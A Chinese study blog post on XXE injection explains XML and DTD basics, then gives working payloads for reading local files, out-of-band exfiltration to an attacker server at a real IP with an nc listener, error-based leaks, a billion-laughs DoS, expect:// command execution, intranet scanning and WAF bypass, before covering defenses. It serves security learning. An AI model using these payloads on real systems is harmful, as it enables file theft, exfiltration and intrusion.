XXE学习

Sl0th Lv4

XXE

XXE全称XML External Entity InjectionXML在引入外部实体的时候完成注入攻击称为XXE。

前置知识

XML语言

XML是一种用来传输和存储数据的可扩展标记语言。

XML用于传输和数据存储。HTML用于显示数据

语法规则

1
2
3
4
5
1.所有的XML元素都必须有一个关闭标签  e.g. <note> </note>
2.XML标签对大小写敏感
3.XML必须正确嵌套
4.XML属性值必须加引号""
5.实体引用:在标签属性,或者对应位置值可能出现<>符号,这些在对应的xml中都是特殊含义的,那么必须使用对应html的实体对应的表示:例如,<message>if salary < 1000 then </message>如果把这个“<”放在元素中,那么解析器会把他当成新元素的开始,就会发生报错。为了避免这个错误使用实体引用来代替<message>if salary &lt; 1000 then </message>

xml结构

1
2
3
XML 文档声明,在文档的第一行
XML 文档类型定义,即DTD,XXE 漏洞所在的地方
XML 文档元素

根据 DOM,XML 文档中的每个成分都是一个节点

DOM 是这样规定的:

  • 整个文档是一个文档节点
  • 每个 XML 标签是一个元素节点
  • 包含在 XML 元素中的文本是文本节点
  • 每一个 XML 属性是一个属性节点
  • 注释属于注释节点

*2005*,元素节点 ,拥有一个值为 “2005” 的文本节点。”2005” 不是 元素的值!

XML DTD

1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

2、DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用

内部声明DTD

若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明中

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> <!--xml声明-->
<!DOCTYPE playwin [
<!ENTITY name "playwin">
]>
<resume>
<name> &name; </name>
</resume>
  • DOCTYPE声明语法 <!DOCTYPE 根元素 [元素声明]>
  • 实体引用:<!ENTITY 实体名 "实体值">
  • 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 ( ; )。
  • 声明 name 的值为 playwin ,下面引用 &name;xml会自动解析为他的值,如果有的话,否则报错

外部声明DTD

声明外部实体(外部实体不是xml本身已定义的实体)

语法

1
2
3
<!ENTITY 实体名字 SYSTEM "URL">  <!--可以使用协议读取外部数据-->
<!ENTITY 实体名字 PUBLIC "public_ID" "URL">
<!ENTITY name SYSTEM "file:///Users/sloth/1.txt">

案例

1
2
3
4
5
6
7
8
<?xml version="1.0"?> 
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r "http://www.chenguanxin.com">
]>
<note>
<name>&hack3r;</name>
</note>
  • 外部声明实体外部实体用来引用外部资源,有两个关键字SYSTEMPUBLIC两个,表示实体来自本地计算机还是公共计算机
  • 根据不同环境不同协议读取外部数据
  • sß

实体的嵌套

1
2
<!ENTITY %实体名称 "值"> <!--内部-->
<!ENTITY %实体名称 SYSTEM "URL"> <!--外部-->

实例:

1
2
3
4
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

DOCTYPE前要紧跟!

而里面引用的外部实体evil.dtd的内容:

1
<!ENTITY evil SYSTEM "file://文件路径" >

利用方式

前提:

Content-Type: application/xml

相关函数

file_get_contents():把整个文件读入一个字符串中。

libxml_disable_entity_loader(false):意思就是不禁止外部实体加载

loadXML( string $source, int $options = 0 ): $source:此参数保存包含 XML 文档的字符串。$options:此参数保存 libxml 选项常量的按位或。返回值:此函数在成功时返回 TRUE,在失败时返回 FALSE。如果静态调用此函数,则返回 DOMDocument,失败时返回 FALSE。

LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值

LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件

libxml选项常量

名称 描述 PHP
LIBXML_COMPACT 设置小型节点分配优化。会改善应用程序的性能。 5
LIBXML_DTDATTR 设置默认 DTD 属性。 5
LIBXML_DTDLOAD 加载外部子集。 5
LIBXML_DTDVALID 通过 DTD 进行验证。 5
LIBXML_NOBLANKS 删除空节点。 5
LIBXML_NOCDATA 把 CDATA 设置为文本节点。 5
LIBXML_NOEMPTYTAG 更改空标签(比如
改为

)。仅在 DOMDocument->save() 和 DOMDocument->saveXML() 函数中可用。
5
LIBXML_NOENT 替代实体。 5
LIBXML_NOERROR 不显示错误报告。 5
LIBXML_NONET 在加载文档时停止网络访问。 5
LIBXML_NOWARNING 不显示警告报告。 5
LIBXML_NOXMLDECL 在保存文档时,撤销 XML 声明。 5
LIBXML_NSCLEAN 删除额外的命名空间声明。 5
LIBXML_XINCLUDE 使用 XInclude 置换。 5
LIBXML_ERR_ERROR 获得可恢复的错误。 5
LIBXML_ERR_FATAL 获得致命的错误。 5
LIBXML_ERR_NONE 获得无错误。 5
LIBXML_ERR_WARNING 获得简单警告。 5
LIBXML_VERSION 获得 Libxml 版本(例如:20605 或 20617)Get libxml version (e.g. 20605 or 20617) 5
LIBXML_DOTTED_VERSION 获得有点号的 Libxml 版本(例如:2.6.5 或 2.6.17)。 5

利用file协议读取本地文件

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>
<name>&xxe;</name>
<password>admin</password>
</root>

php伪协议读取源码

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> ]>
<root>
<name>&xxe;</name>
<password>admin</password>
</root>

不回显漏洞信息外带信息

test.xml(靶场需要传输的xml文件)

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://靶机ip/e.dtd">
%remote;%int;%send;
]>

e.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file://读取文件路径">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://靶机IP:监听端口/?p=%file;'>"> <!--`&#x25;`显示为`%`-->

在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错
在 外部DTD 文件中,参数实体的声明才能引用其他实体

  • %remote调用e.dtd

  • %int加载了file,%file获取了flag文件内容

  • %send将数据发送到靶机上

%不允许出现在 Entity的value中,所以需要将%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式,以&#后接十进制数字,&#x后接十六进制数字)

使用本地php_xxe靶场,发送以下

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://124.223.207.184/evil.dtd">
%remote;%int;%send;
]>

操作过程:

  • 在自己的vps或云服务器上先搭建站点(使用宝塔面板搭建php站点,端口任意,可以是默认80,域名写:公网ip:端口)

  • 登录云服务器 腾讯云下目录为 /www/wwwroot/公网ip 在里面vim一个e.dtd,输入上述payload

  • 注意选择监听端口,选择比较偏的,没有服务运行的,比如2333,然后要在云服务器控制台和宝塔都放行该端口,防火墙可关可不关

  • 云服务器执行监听2333端口:nc -lvvp 2333

  • 本机靶场上发送构造的xml文件,云服务器端会回显file参数实体内容,即php://filter/read=convert.base64-encode/resource=file://读取文件路径

    ⚠️踩过的坑:在日志中查看回显,服务器日志(80端口),但携带flag的http请求是访问3344端口的

报错输出

环境:

  • libxml<=2.8(2.9以后默认不使用外部实体)
  • 开启了报错
  • 无回显

payload1

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % a '
<!ENTITY &#x25; b "
<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;
>
">
'>
%a;
%b;
]>
<message>asfddasfd</message>

nonexistent可替换成任意根目录下不存在的文件夹名称,这也是报错的原因:读取了不存在文件

file参数实体内容即为想读取的文件内容

&#x27; : '

&#x25; :%

&#x26; :&

payload2

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % condition '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%condition;
]>
<message>any text</message>

DDos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>

<!DOCTYPE lolz [
<!ENTITY lol "abc">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>

<lolz>&lol9;</lolz>

该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

.PHP expect RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

示例代码:

1
2
3
4
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

HTTP 内网主机探测

探测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import base64

#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>


def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://靶机ip/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue

要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子。我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件

HTTP 内网主机端口扫描

利用burpsuite辅助

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:端口号/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

端口号部分用bp爆破

至此,我们已经有能力对整个网段进行了一个全面的探测,并能得到内网服务器的一些信息了,如果内网的服务器有漏洞,并且恰好利用方式在服务器支持的协议的范围内的话,我们就能直接利用 XXE 打击内网服务器甚至能直接 getshell(比如有些 内网的未授权 redis 或者有些通过 http get 请求就能直接getshell 的 比如 strus2)

内网盲注

这里有一个小技巧,当我们使用 libxml 读取文件内容的时候,文件不能过大,如果太大就会报错,于是我们就需要使用 php
过滤器的一个压缩的方法

压缩:echo file_get_contents(“php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd”);
解压:echo file_get_contents(“php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1”);

我们考虑内网有没有东西,我们读取

1
2
/proc/net/arp
/etc/host

WAF绕过

针对的WAF

1.成熟的waf——使用自己的解析器预处理XML文档的WAFs。
2.基于正则表达式。仅搜索数据中的特定子字符串或正则表达式的WAFS。

额外空格

由于XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在<?xml?><!DOCTYPE>中插入额外的空格,从而绕过此类WAF。

image-20220501154908744
image-20220501154908744

格式无效(链接到未知实体)

为了安全起见,一些WAF通常不会读取链接文件的内容,但外部资源链接还可以存在于声明<!DOCTYPE>中。这意味着未读取文件内容的WAF将不会读取文档中实体的声明,这样在后续正文中使用外部链接中的实体,就会被waf的xml解析器认为是未知实体,导致错误

image-20220501155941595
image-20220501155941595

罕见编码

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

改变编码可以利用vscode的按其他编码保存

例题:[CSAWQual 2019]Web_Unagi

在一个文档中使用两种类型的编码

当包含编码属性的标记引用与文档首字节决定的字符集不同时,一些解析器更改编码,使文件的开头有一组字符,其余的是另一组编码。也就是说,不同的解析器可能在不同的时间转换编码。Java解析器(javax.xml.parsers)在结束后严格地更改字符集,而libxml2解析器可以在执行“编码”属性的值之后或在处理之前或之后切换编码。
只有在根本不处理这些文件时,比较成熟的WAF才能可靠地防止这些文件中的攻击。我们还必须记住,有许多同义词编码,例如UTF-32BE和UCS-4BE。此外,有些编码可能不同,但从编码文档初始部分 <?xml?>的角度来看,它们是兼容的。例如,看似UTF-8的文档可能包含字符串<?xml version=”1.0” encoding=”windows-1251”?>
这里有一些例子。为了简明扼要,我们不把XXE放在文档里。
libxml2解析器将文档视为有效,但是,javax.xml.parsers set中的Java引擎认为它无效:

image-20220501161313385
image-20220501161313385

控制文档的编码(例如)——文档的第一个字节带有可选的BOM(字节顺序标记)。

XXE防御

方案一:使用语言中推荐的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
3
4
5
6
7
8
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

java:https://xz.aliyun.com/t/10774#toc-11

https://xz.aliyun.com/t/3357#toc-20

Python:

1
2
3
4
5
6
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
def xxe():
tree = etree.parse('xml.xml', etree.XMLParser(resolve_entities=False))
# tree = lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False))
return etree.tostring(tree.getroot())

尝试改用defusedxml 是一个纯 Python 软件包,它修改了所有标准库 XML 解析器的子类,可以防止任何潜在的恶意操作。 对于解析不受信任的XML数据的任何服务器代码,建议使用此程序包。

方案二:手动黑名单过滤(不推荐)

过滤关键词:

1
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
  • 标题: XXE学习
  • 作者: Sl0th
  • 创建于 : 2022-04-22 00:02:32
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2022/04/22/XXE学习/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论